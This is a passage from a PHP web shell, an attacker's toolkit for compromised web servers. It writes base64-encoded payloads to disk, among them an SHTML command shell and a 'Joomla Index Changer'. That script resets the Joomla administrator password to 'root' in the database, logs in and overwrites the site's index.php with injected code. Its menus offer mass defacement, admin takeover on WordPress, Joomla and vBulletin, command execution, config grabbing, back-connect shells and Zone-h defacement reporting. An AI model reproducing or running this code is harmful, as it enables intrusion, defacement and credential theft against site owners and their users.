9yZGVyOiAycHggZG90dGVkICMwMDc3MDAiPiANCiAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJncmVlbiIgc2l6ZT0iMiIgZmFjZT0iaW1wYWN0Ij48YnI+IA0KICAgICAgICAgICAgPGJyPjxhIGhyZWY9IkFub25HaG9zdCI+QW5vbkdob3N0PC9hPiANCiAgICAgICAgICAgICAgICAgIDxicj4gDQogICAgICAgICAgICA8L2ZvbnQ+PC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGFibGU+IA0KPC9kaXY+IA0KPC9ib2R5PiANCjwvaHRtbD4gIA==';
7126$file = fopen("shell.shtml" ,"w+");
7127$write = fwrite ($file ,base64_decode($ROFL));
7128fclose($file);
7129
7130echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Shtml Shell Command</font></span><center><br><iframe src=shell.shtml width=75% height=60% frameborder=0></iframe></div></center>";
7131}
7132if(isset($_GET['action']) && $_GET['action'] == 'joommlallainxc'){
7133echo '<center><b class="conte">
7134<a href="?action=mass">Mass Deface Dirs</a> -
7135<a href="?action=joomla">Mass Change Admin Joomla</a> -
7136<a href="?action=vb">Mass Change Admin vBulletin</a> -
7137<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
7138<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
7139<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
7140<a href="?action=joommlallainxc">Joomla Index Changer</a> -
7141<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
7142<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
7143</b>';
7144
7145//extract joomla index changer
7146$coddd = 'PGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3JiaXRyb246NzAwJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQ6DQp1cmwoImh0dHA6Ly9pLmltZ3VyLmNvbS9oZzIxeFo5LnBuZyIpIHJlcGVhdCAsIA0KdXJsKCJodHRwOi8vd3d3LmRlc2t0b3Bhcy5jb20vZmlsZXMvMjAxMi8xMS8xOC9ibHVlLWFuZC1ibGFjay1hYnN0cmFjdC0xNjAweDkwMC5qcGciKSBuby1yZXBlYXQgY2VudGVyIHRvcCx0b3AgbGVmdCx0b3AgcmlnaHQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KPC9zdHlsZT4NCjxmb250IGZhY2U9J09yYml0cm9uJz4NCjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojICAgICAgQ2hhbmdlIEpvb21sYSBJbmRleCAgICAgICAgICAgICAgICAjDQojICAgICAgQ29kZWQgQnkgUkFCM09VTiAgICAgICAgICAgICAgICAgICAjDQojICAgICAgICAgIHYuYi00QGhvdG1haWwuY29tICAgICAgICAgICAgICAjDQojCSAgaHR0cDovL3d3dy5yYWIzb3VuLm5ldC8gICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQp7DQoNCiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTsgZXhpdDsgPz4iOw0KDQogJGRicHJlZml4PSgkX1BPU1RbJ2RiX3ByZWZpeCddKTsNCiAkdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYm5hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAgJHNpdGVfdXJsPSgkX1BPU1RbJ3NpdGVfdXJsJ10pOw0KDQokY289cmFuZG9tdCgpOw0KDQoNCg0KICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKSA7DQoNCiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoNCiR0cnlDaGFuaW5nSW5mbyA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kZGJwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZSA9J3Jvb3QnICwgcGFzc3dvcmQgPSAnNjNhOWYwZWE3YmI5ODA1MDc5NmI2NDllODU0ODE4NDUnIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIHJvb3QgcGFzc3dvcmQgdG8gcm9vdCIpOwkNCgkJIA0KCQkgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7DQoJCSANCmlmICggJHJlcSApDQp7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAgVjEuNiAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZV9zdHlsZXNgIFdIRVJFIGNsaWVudF9pZD0nMCcgYW5kIGhvbWU9JzEnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgbmFtZT0nIi4kdGVtcGxhdGVfbmFtZS4iJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCg0KDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw0KTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9cm9vdCZwYXNzd2Q9cm9vdCZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPXNvdXJjZS5lZGl0JmlkPSIuYmFzZTY0X2VuY29kZSgkdGVtcGxhdGVfaWQuIjppbmRleC5waHAiKTsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KaWYoJGhpZGRlbjIpIHsNCmVjaG8oIjxicj5bK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KZXhpdDsNCn0NCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGguIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS42ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCn0NCmVsc2UNCnsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICAgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkgDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZXNfbWVudWAgV0hFUkUgY2xpZW50X2lkPScwJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMyk7DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1yb290JnBhc3N3ZD1yb290Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KDQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KDQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQoNCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQp9DQoNCn0NCg0KDQpmdW5jdGlvbiByYW5kb210KCkgeyANCg0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsgDQogICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsgDQogICAgJGkgPSAwOyANCiAgICAkcGFzcyA9ICcnIDsgDQoNCiAgICB3aGlsZSAoJGkgPD0gNykgeyANCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOyANCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyANCiAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7IA0KICAgICAgICAkaSsrOyANCiAgICB9IA0KDQogICAgcmV0dXJuICRwYXNzOyANCg0KfQ0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQ0KDQp7DQoNCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQokYXI9dHJpbSgkYXIxWzBdKTsNCnJldHVybiAkYXI7DQp9DQplY2hvICINClxuIjsgDQplY2hvICI8dGl0bGU+cm9vdCAuLS48L3RpdGxlPg0KXG4iOyANCmVjaG8gIiA8c3R5bGU+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiQk9EWSB7IFNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMTkxOTE5OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IG9saXZlOyAgIGNvbG9yOiB3aGl0ZTt9DQpcbiI7IA0KZWNobyAidGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogT3JiaXRyb247IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KXG4iOyANCmVjaG8gImlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBPcmJpdHJvbjsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjtoZWlnaHQ6MTd9DQpcbiI7IA0KZWNobyAiPC9zdHlsZT4NClxuIjsgDQplY2hvICI8Y2VudGVyPg0KXG4iOyANCmVjaG8gIjxmb250IGNvbG9yPVwiI0ZGRkY2RkZcIiBzaXplPScrMycgZmFjZT0nT3JiaXRyb24nPlsgfn4gQ2hhbmdlIEpvb21sYSBJbmRleCB+fiBdPC9mb250Pjxicj48YnI+DQpcbiI7IA0KZWNobyAiPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj4NClxuIjsgDQplY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmb3JtX2FjdGlvblwiIHZhbHVlPVwiMlwiPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8dGFibGUgYm9yZGVyPTE+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9wcmVmaXggPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJkYl91c2VybmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfcGFzc3dvcmRcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+QWRtaW4gQ29udHJvbCBwYW5lbCB1cmw8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwic2l0ZV91cmxcIiB2YWx1ZT1cImh0dHA6Ly9zaXRlLmNvbS9hZG1pbmlzdHJhdG9yL1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICINClxuIjsgDQplY2hvICI8L3RhYmxlPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPFRFWFRBUkVBIHJvd3M9XCIxOFwiICBjb2xzPVwiNTBcIiBuYW1lPVwiY29kZVwiPjwvVEVYVEFSRUE+DQpcbiI7IA0KZWNobyAiCTxicj4NClxuIjsgDQplY2hvICI8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiIG5hbWU9XCJTdWJtaXRcIj4NClxuIjsgDQplY2hvICI8L0ZPUk0+DQpcbiI7IA0KPz4=';
7147$file = fopen("zjommindexz.php" ,"w+");
7148$write = fwrite ($file ,base64_decode($coddd));
7149fclose($file);
7150
7151echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Joomla Index Changer</span><br><iframe src=zjommindexz.php width=75% height=60% frameborder=0></iframe></div></center>";
7152}
7153if(isset($_GET['action']) && $_GET['action'] == 'joomlarvrssrvetll'){
7154echo '<center><b class="conte">
7155<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7156<a href="?action=cmd">Command Execution</a> -
7157<a href="?action=com64">Base64 Command</a> -
7158<a href="?action=vgrab">Config Grabber</a> -
7159<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7160<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7161<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7162<a href="?action=cari">Find Directory Writable/Readable</a> -
7163<a href="?action=zonh">Zone-h Notifier</a> -
7164<a href="?action=shhhshell">Shtml Command Shell</a> -
7165<a href="?action=beko">Back connect Simple</a> -
